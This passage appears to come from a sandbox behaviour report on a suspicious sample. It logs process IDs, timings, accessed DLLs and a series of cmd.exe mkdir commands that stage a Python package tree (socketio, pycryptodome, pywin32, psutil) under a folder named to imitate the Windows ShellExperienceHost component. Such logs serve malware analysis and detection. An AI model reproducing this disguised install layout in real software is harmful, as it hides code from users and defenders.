        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING
        
        1856
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\
        
        Time lapse
        
        66.145517
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL
        
        2272
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\
        
        Time lapse
        
        66.161118
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO
        
        2464
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\
        
        Time lapse
        
        66.192318
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS
        
        3192
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\
        
        Time lapse
        
        66.22352
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__
        
        2000
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\
        
        Time lapse
        
        66.45752
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__
        
        2488
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\
        
        Time lapse
        
        66.61352
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER
        
        3576
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\
        
        Time lapse
        
        66.722719
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO
        
        3660
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\
        
        Time lapse
        
        66.75392
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY
        
        3632
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\
        
        Time lapse
        
        66.78512
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO
        
        3616
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\
        
        Time lapse
        
        66.816321
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO
        
        1852
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\
        
        Time lapse
        
        66.847519
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO
        
        3552
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\
        
        Time lapse
        
        66.863119
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO
        
        1592
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\
        
        Time lapse
        
        66.89432
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32
        
        3568
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\
        
        Time lapse
        
        66.92552
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO
        
        3752
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\
        
        Time lapse
        
        66.95672
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS
        
        2748
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\
        
        Time lapse
        
        66.972321
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO
        
        2812
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\
        
        Time lapse
        
        67.003519
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS
        
        2692
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\
        
        Time lapse
        
        67.019119
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO
        
        2804
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\
        
        Time lapse
        
        67.159519
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND
        
        2764
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTERN\
        
        Time lapse
        
        67.190722
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTERN
        
        2688
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\
        
        Time lapse
        
        67.237522
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS
        
        2732
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\
        
        Time lapse
        
        67.253122
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND
        
        3756
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\
        
        Time lapse
        
        67.315521
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR
        
        3768
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\
        
        Time lapse
        
        67.346722
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING
        
        3812
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\
        
        Time lapse
        
        67.377922
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE
        
        3720
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\
        
        Time lapse
        
        67.393522
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO
        
        3832
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\
        
        Time lapse
        
        67.424721
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO
        
        3744
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\
        
        Time lapse
        
        67.455921
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO
        
        3780
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\
        
        Time lapse
        
        67.487122
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3
        C:\WINDOWS\SYSWOW64\MSVCR110_CLR0400.DLL
        C:\WINDOWS\SYSWOW64\MSCOREE.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENSERVICELOCK.DAT
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENROOTSTORELOCK.DAT
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCORSVC.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\FUSION.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGEN_SERVICE.LOG
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORWKS.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCORSVW.EXE
        C:\WINDOWS\SYSWOW64\MSIDLE.DLL
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\WINSTA.DLL
        C:\WINDOWS\SYSWOW64\POWRPROF.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NGENOFFLINEQUEUELOCK.DAT
        
        3908
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\
        
        Time lapse
        
        67.502722
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO
        
        3700
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\
        
        Time lapse
        
        67.596321
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB
        
        3728
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\
        
        Time lapse
        
        67.611921
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT
        
        3944
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\
        
        Time lapse
        
        67.643122
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MSVCR110_CLR0400.DLL
        C:\WINDOWS\SYSTEM32\MSCOREE.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENSERVICELOCK.DAT
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENROOTSTORELOCK.DAT
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCORSVC.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\FUSION.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGEN_SERVICE.LOG
